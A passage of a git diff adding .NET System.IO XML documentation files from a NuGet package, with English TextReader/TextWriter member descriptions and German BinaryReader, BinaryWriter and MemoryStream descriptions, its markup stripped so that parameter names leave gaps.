bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the text reader and returns the data as a string. + The next line from the reader, or null if all characters have been read. + An I/O error occurs. + There is insufficient memory to allocate a buffer for the returned string. + The is closed. + The number of characters in the next line is larger than + 1 + + + Reads a line of characters asynchronously and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the text reader, or is null if all of the characters have been read. + The number of characters in the next line is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the text reader and returns them as one string. + A string that contains all characters from the current position to the end of the text reader. + An I/O error occurs. + The is closed. + There is insufficient memory to allocate a buffer for the returned string. + The number of characters in the next line is larger than + 1 + + + Reads all characters from the current position to the end of the text reader asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the text reader. + The number of characters is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Represents a writer that can write a sequential series of characters. This class is abstract. + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format provider. + An object that controls formatting. + + + Stores the newline characters used for this TextWriter. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, returns the character encoding in which the output is written. + The character encoding in which the output is written. + 1 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The text writer is disposed. + The writer is currently in use by a previous write operation. + + + Gets an object that controls formatting. + An object for a specific culture, or the formatting of the current culture if no other culture is specified. + 2 + + + Gets or sets the line terminator string used by the current TextWriter. + The line terminator string for the current TextWriter. + 2 + + + Provides a TextWriter with no backing store that can be written to, but not read from. + 1 + + + Writes the text representation of a Boolean value to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a character array to the text string or stream. + The character array to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters to the text string or stream. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a decimal value to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte floating-point value to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object to the text string or stream by calling the ToString method on that object. + The object to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string to the text string or stream. + The string to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero) or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes a formatted string to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + + or is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character array to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If is null, nothing is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string to the text string or stream asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a line terminator to the text string or stream. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a Boolean value followed by a line terminator to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character followed by a line terminator to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes an array of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters followed by a line terminator to the text string or stream. + The character array from which data is read. + The character position in at which to start reading data. + The maximum number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a decimal value followed by a line terminator to the text string or stream. + The decimal value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 8-byte floating-point value followed by a line terminator to the text string or stream. + The 8-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte signed integer followed by a line terminator to the text string or stream. + The 4-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte signed integer followed by a line terminator to the text string or stream. + The 8-byte signed integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an object by calling the ToString method on that object, followed by a line terminator to the text string or stream. + The object to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of a 4-byte floating-point value followed by a line terminator to the text string or stream. + The 4-byte floating-point value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a string followed by a line terminator to the text string or stream. + The string to write. If is null, only the line terminator is written. + The is closed. + An I/O error occurs. + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is one). + 1 + + + Writes a formatted string and a new line to the text string or stream, using the same semantics as the method. + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is two). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + The first object to format and write. + The second object to format and write. + The third object to format and write. + + is null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the number of objects to be formatted (which, for this method overload, is three). + 1 + + + Writes out a formatted string and a new line, using the same semantics as . + A composite format string (see Remarks). + An object array that contains zero or more objects to format and write. + A string or object is passed in as null. + The is closed. + An I/O error occurs. + + is not a valid composite format string.-or- The index of a format item is less than 0 (zero), or greater than or equal to the length of the array. + 1 + + + Writes the text representation of a 4-byte unsigned integer followed by a line terminator to the text string or stream. + The 4-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes the text representation of an 8-byte unsigned integer followed by a line terminator to the text string or stream. + The 8-byte unsigned integer to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character to write to the text stream. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes an array of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write to the text stream. If the character array is null, only the line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the text string or stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The text writer is disposed. + The text writer is currently in use by a previous write operation. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/de/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/de/System.IO.xml new file mode 100644 index 0000000..ee778b2 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/de/System.IO.xml @@ -0,0 +1,2151 @@ + + + + System.IO + + + + Liest primitive Datentypen als Binärwerte in einer spezifischen Codierung. + 2 + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung unter Verwendung von UTF-8. + Der Eingabestream. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + + Initialisiert eine neue Instanz der auf dem bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Eingabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Lesevorgänge, ist null oder er wurde bereits geschlossen. + + oder ist null. + + + Gewährt Zugriff auf den zugrunde liegenden Stream von . + Der BinaryReader zugeordnete, zugrunde liegende Stream. + 2 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Füllt den internen Puffer mit der angegebenen Anzahl von Bytes, die aus dem Stream gelesen wurden. + Die Anzahl der zu lesenden Bytes. + Das Ende des Streams ist erreicht, bevor gelesen werden konnte. + E/A-Fehler. + Die angeforderten überschreiten die interne Puffergröße. + + + Gibt das nächste verfügbare Zeichen zurück, ohne die Byte- oder Zeichenposition zu erhöhen. + Das nächste verfügbare Zeichen oder -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + Das aktuelle Zeichen kann nicht mit dem für den Stream ausgewählten in den internen Zeichenpuffer decodiert werden. + 2 + + + Liest Zeichen aus dem zugrunde liegenden Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Das nächste Zeichen aus dem Eingabestream bzw. -1, wenn derzeit keine Zeichen verfügbar sind. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Liest die angegebene Anzahl von Bytes beginnend bei einem angegebenen Punkt im Bytearray aus dem Stream. + Die Anzahl von Bytes, die in gelesen wurden.Diese kann kleiner sein als die Anzahl der angeforderten Bytes, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Bytes. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Zeichen beginnend bei einem angegebenen Punkt im Zeichenarray aus dem Stream. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn gegenwärtig keine entsprechende Anzahl von Bytes verfügbar ist, oder null, wenn das Ende des Streams erreicht ist. + Der Puffer, in den Daten gelesen werden sollen. + Der Anfangspunkt für das Lesen in den Puffer. + Die Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . - oder - Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + + ist null. + + oder ist negativ. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 32-Bit-Ganzzahl in komprimiertem Format. + Eine 32-Bit-Ganzzahl in komprimiertem Format. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Der Datenstrom ist beschädigt. + + + Liest einen Boolean-Wert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + true, wenn das Byte ungleich 0 (null) ist, andernfalls false. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest das nächste Byte aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 1 Byte. + Das nächste aus dem aktuellen Stream gelesene Byte. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest die angegebene Anzahl von Bytes aus dem aktuellen Stream in ein Bytearray und erhöht die aktuelle Position um diese Anzahl von Bytes. + Ein Bytearray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Bytes, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Bytes.Dieser Wert muss 0 oder eine nicht negative Zahl sein; andernfalls tritt eine Ausnahme auf. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + E/A-Fehler. + Der Stream ist geschlossen. + + ist negativ. + 2 + + + Liest das nächste Zeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein aus dem aktuellen Stream gelesenes Zeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + Ein Ersatzzeichenzeichen wurde gelesen. + 2 + + + Liest die angegebene Anzahl von Zeichen aus dem aktuellen Stream, gibt die Daten in einem Zeichenarray zurück und erhöht die aktuelle Position in Abhängigkeit von der verwendeten Encoding und dem aus dem Stream gelesenen Zeichen. + Ein Zeichenarray mit Daten aus dem zugrunde liegenden Stream.Dies kann kleiner sein als die Anzahl der angeforderten Zeichen, wenn das Ende des Streams erreicht ist. + Die Anzahl der zu lesenden Zeichen. + Die Anzahl der zu lesenden decodierten Zeichen ist größer als .Dies kann geschehen, wenn ein Unicode-Decoder Fallbackzeichen oder ein Ersatzzeichenpaar zurückgibt. + Der Stream ist geschlossen. + E/A-Fehler. + + ist negativ. + 2 + + + Liest einen Dezimalwert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 16 Bytes. + Ein aus dem aktuellen Stream gelesener Dezimalwert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 8-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Ein aus dem aktuellen Stream gelesener 8-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus dem aktuellen Stream gelesene 2-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Eine aus dem aktuellen Stream gelesene 4-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 8 Bytes. + Eine aus dem aktuellen Stream gelesene 8-Byte-Ganzzahl mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest ein Byte mit Vorzeichen aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Ein aus dem aktuellen Stream gelesenes Byte mit Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest einen 4-Byte-Gleitkommawert aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 4 Bytes. + Ein aus dem aktuellen Stream gelesener 4-Byte-Gleitkommawert. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine Zeichenfolge aus dem aktuellen Stream.Die Zeichenfolge weist ein Präfix mit der Länge auf, die als Ganzzahl mit jeweils 7 Bits codiert ist. + Die gelesene Zeichenfolge. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 2-Byte-Ganzzahl ohne Vorzeichen mithilfe einer Little-Endian-Codierung aus dem aktuellen Stream und erhöht die aktuelle Position im Stream um 2 Bytes. + Eine aus diesem Stream gelesene 2-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 4-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 4 Bytes. + Eine aus diesem Stream gelesene 4-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + E/A-Fehler. + 2 + + + Liest eine 8-Byte-Ganzzahl ohne Vorzeichen aus dem aktuellen Stream und erhöht die Position des Streams um 8 Bytes. + Eine aus diesem Stream gelesene 8-Byte-Ganzzahl ohne Vorzeichen. + Das Ende des Streams ist erreicht. + E/A-Fehler. + Der Stream ist geschlossen. + 2 + + + Schreibt primitive Typen binär in einen Stream und unterstützt das Schreiben von Zeichenfolgen in einer bestimmten Codierung. + 2 + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in einen Stream. + + + Initialisiert eine neue Instanz der auf dem spezifizierten Stream basierenden -Klasse unter Verwendung von UTF-8-Verschlüsselung. + Der Ausgabestream. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + ist null. + + + Initialisiert eine neue Instanz der auf den bereitgestellten Stream basierenden -Klasse mit einer spezifischen Stream- und Zeichencodierung. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse auf Grundlage des angegebenen Streams und der Zeichencodierung und lässt den Stream optional geöffnet. + Der Ausgabestream. + Die zu verwendende Zeichencodierung. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + + oder ist null. + + + Ruft den zugrunde liegenden Stream von ab. + Der BinaryWriter zugeordnete, zugrunde liegende Stream. + 1 + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Gibt eine -Klasse ohne Sicherungsspeicher an. + 1 + + + Enthält den zugrunde liegenden Stream. + + + Legt die Position im aktuellen Stream fest. + Die Position im aktuellen Stream. + Ein Byteoffset im Verhältnis zu . + Ein Feld von , das den Bezugspunkt angibt, von dem aus die neue Position ermittelt werden soll. + Der Dateizeiger wurde an eine ungültige Position verschoben. + Der -Wert ist ungültig. + 1 + + + Schreibt einen 1-Byte-Boolean-Wert in den aktuellen Stream, wobei 0 (null) false und 1 true darstellt. + Der zu schreibende Boolean-Wert (0 (null) oder 1). + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte ohne Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Bytearray in den zugrunde liegenden Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + E/A-Fehler. + Der Stream ist geschlossen. + + ist null. + 1 + + + Schreibt einen Bereich eines Bytearrays in den aktuellen Stream. + Ein Bytearray, das die zu schreibenden Daten enthält. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Bytes. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Unicode-Zeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Das zu schreibende Unicode-Zeichen (nicht-Ersatzzeichen). + E/A-Fehler. + Der Stream ist geschlossen. + + ist ein einzelnes Ersatzzeichen. + 1 + + + Schreibt ein Zeichenarray in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + + ist null. + Der Stream ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt einen Bereich eines Zeichenarrays in den aktuellen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Encoding und ggf. der in den Stream geschriebenen Zeichen. + Ein Zeichenarray mit den zu schreibenden Daten. + Der Anfangspunkt im , an dem mit dem Schreiben begonnen wird. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen Dezimalwert in den aktuellen Stream und erhöht die Position im Stream um 16 Bytes. + Der zu schreibende Dezimalwert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 8-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Der zu schreibende 8-Byte-Gleitkommawert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl mit Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt ein Byte mit Vorzeichen in den aktuellen Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das zu schreibende Byte mit Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt einen 4-Byte-Gleitkommawert in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Der zu schreibende 4-Byte-Gleitkommawert. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine Zeichenfolge mit Längenpräfix in der aktuellen Codierung von in diesen Stream und erhöht die aktuelle Position im Stream in Abhängigkeit von der verwendeten Codierung und der in den Stream geschriebenen Zeichen. + Der zu schreibende Wert. + E/A-Fehler. + + ist null. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 2-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 2 Bytes. + Die zu schreibende 2-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 4-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 4 Bytes. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 8-Byte-Ganzzahl ohne Vorzeichen in den aktuellen Stream und erhöht die Position im Stream um 8 Bytes. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + E/A-Fehler. + Der Stream ist geschlossen. + 1 + + + Schreibt eine 32-Bit-Ganzzahl in einem komprimierten Format. + Die zu schreibende 32-Bit-Ganzzahl. + Das Ende des Streams ist erreicht. + Der Stream ist geschlossen. + Der Stream ist geschlossen. + + + Die Ausnahme, die ausgelöst wird, wenn hinter dem Ende eines Streams ein Leseversuch erfolgt. + 2 + + + Initialisiert eine neue Instanz der -Klasse, bei der die Meldungszeichenfolge auf eine vom System gelieferte Meldung und HRESULT auf COR_E_ENDOFSTREAM festgelegt ist. + + + Initialisiert eine neue Instanz der -Klasse, bei der die Nachrichtenzeichenfolge auf und HRESULT auf COR_E_ENDOFSTREAM festgelegt wurde. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung und einem Verweis auf die innere Ausnahme, die diese Ausnahme ausgelöst hat. + Eine Zeichenfolge, die den Fehler beschreibt.Der Inhalt der soll in verständlicher Sprache gehalten sein.Der Aufrufer dieses Konstruktors muss sicherstellen, dass diese Zeichenfolge für die aktuelle Systemkultur lokalisiert wurde. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Die Ausnahme, die ausgelöst wird, wenn ein Datenstream ein ungültiges Format hat. + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit einer angegebenen Fehlermeldung. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + + + Initialisiert eine neue Instanz der -Klasse mit einem Verweis auf die innere Ausnahme, die die Ausnahme ausgelöst hat. + Die Fehlermeldung, in der die Ursache der Ausnahme erklärt wird. + Die Ausnahme, die die Ursache der aktuellen Ausnahme ist.Wenn der -Parameter nicht null ist, wird die aktuelle Ausnahme in einem catch-Block ausgelöst, der die innere Ausnahme behandelt. + + + Erstellt einen Stream, der den Arbeitsspeicher als Sicherungsspeicher verwendet.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit 0 (null) initialisiert wurde. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem der aktuelle Stream erstellt werden soll. + + ist null. + + + Initialisiert anhand des angegebenen Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die -Eigenschaft wie angegeben festgelegt wird. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + + Initialisiert anhand des angegebenen Bereichs (Indexes) eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + + ist null. + + oder ist kleiner als 0. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert anhand des angegebenen Bereichs eines Bytearrays eine neue Instanz der -Klasse, deren Größe nicht geändert werden kann, wobei die 